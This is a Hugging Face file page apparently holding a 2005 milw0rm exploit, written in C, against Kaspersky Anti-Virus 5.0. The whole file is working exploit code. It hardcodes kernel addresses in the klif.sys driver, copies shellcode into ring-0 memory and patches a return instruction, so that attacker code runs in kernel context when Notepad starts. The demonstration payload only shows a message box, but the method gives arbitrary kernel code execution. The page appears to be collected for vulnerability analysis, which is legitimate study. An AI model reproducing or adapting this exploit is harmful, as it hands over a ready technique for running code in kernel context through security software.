Hugging Face's logo

lilbool
/
vuln-code-analysis

Model card Files
xet
Community
vuln-code-analysis
File size: 4,154 Bytes
497f2f3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
 
/* Added NO_STRICT to 1 on line 2 /str0ke ! milw0rm.com */

#define NO_STRICT 1

#include <windows.h>



#undef STRICT



PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;



PDWORD pJmpAddress=(PDWORD)0xBE9372B0;



PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};



PUCHAR pKAVRet;





unsigned char code[]={0x68,0x00,0x02,0x00,0x00,	//push 0x200

					0x68,0x00,0x80,0x93,0xBE,	//push <buffer address> - 0xBE938000

					0x6A,0x00,					//push 0

					0xB8,0x00,0x00,0x00,0x00,	//mov eax,<GetModuleFileNameA> -> +13

					0xFF,0xD0,					//call eax

					0x68,0x00,0x80,0x93,0xBE,	//push <buffer address>

					0x68,0x00,0x82,0x93,0xBE,	//push <address of the notepad path>- 0xBE938200

					0xB8,0x00,0x00,0x00,0x00,	//mov eax,<lstrcmpiA> -> +30

					0xFF,0xD0,					//call eax

					0x85,0xC0,					//test eax,eax

					0x74,0x03,					//je +03

					0xC2,0x04,0x00,				//retn 4

					0x6A,0x00,					//push 0

					0x68,0x00,0x84,0x93,0xBE,	//push <address of the message string>- 0xBE938400

					0x68,0x00,0x84,0x93,0xBE,	//push <address of the message string>- 0xBE938400

					0x6A,0x00,					//push 0

					0xB8,0x00,0x00,0x00,0x00,	//mov eax,<MessageBoxA> -> +58

					0xFF,0xD0,					//call eax

					0xC2,0x04,0x00				//retn 4

					};



unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt [0xBE9372B0]



//////////////////////////////////////////////////////////////



BOOLEAN LoadExploitIntoKernelMemory(void){







//Get function's addresses



	HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");

	HANDLE hUser=GetModuleHandle("USER32.DLL");



	FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");

	FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");



	FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");



	*(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;

	*(DWORD*)(code+30)=(DWORD)plstrcmpiA;

	*(DWORD*)(code+58)=(DWORD)pMessageBoxA;



//Prepare our data into ring0-zone.



	PCHAR pNotepadName=(PCHAR)0xBE938200;



	char temp_buffer[MAX_PATH];

	char *s;



	SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);



	lstrcpy(pNotepadName,temp_buffer);



	PCHAR pMessage=(PCHAR)0xBE938400;



	lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");



	memmove(pCodeBase,code,sizeof(code));



	*pJmpAddress=(DWORD)pCodeBase;



	memmove(pKAVRet,jmp_code,sizeof(jmp_code));



	return TRUE;

}



///////////////////////////////////////////////////////////////



void UnloadExploitFromKernelMemory(){



	UCHAR retn_4[]={0xC2,0x04,0x00};



	memmove(pKAVRet,retn_4,sizeof(retn_4));



}



/////////////////////////////////////////////////////////////////



PUCHAR GetKAVRetAddress(void){



//Check the retn 4 in the KAV 0xBE9334E1 function end

//Also, we check the KAV klif.sys existance.



	UCHAR retn_4[]={0xC2,0x04,0x00};



	__try{



		for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){



			if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)

				return pKAVRets[i];



		}



	}__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not installed",NULL,0);return NULL;}





	MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of KAV",NULL,0);

	return NULL;

}



/////////////////////////////////////////////////////////////////



void main(void){



	pKAVRet=GetKAVRetAddress();



	if(NULL==pKAVRet)

		return;





	if(!LoadExploitIntoKernelMemory())

		return;



	char temp_buffer[MAX_PATH];

	char *s;



	SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);



	PROCESS_INFORMATION pi;



	STARTUPINFO si={0};

	si.cb=sizeof(si);



	CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,

						0,NULL,NULL,&si,&pi);



	WaitForSingleObject(pi.hProcess,INFINITE);



	MessageBox(NULL,"Now you may start your own Notepad instance to check this exploit!","KAV_EXPLOITER",0);



	MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);



	UnloadExploitFromKernelMemory();

}



// milw0rm.com [2005-06-07]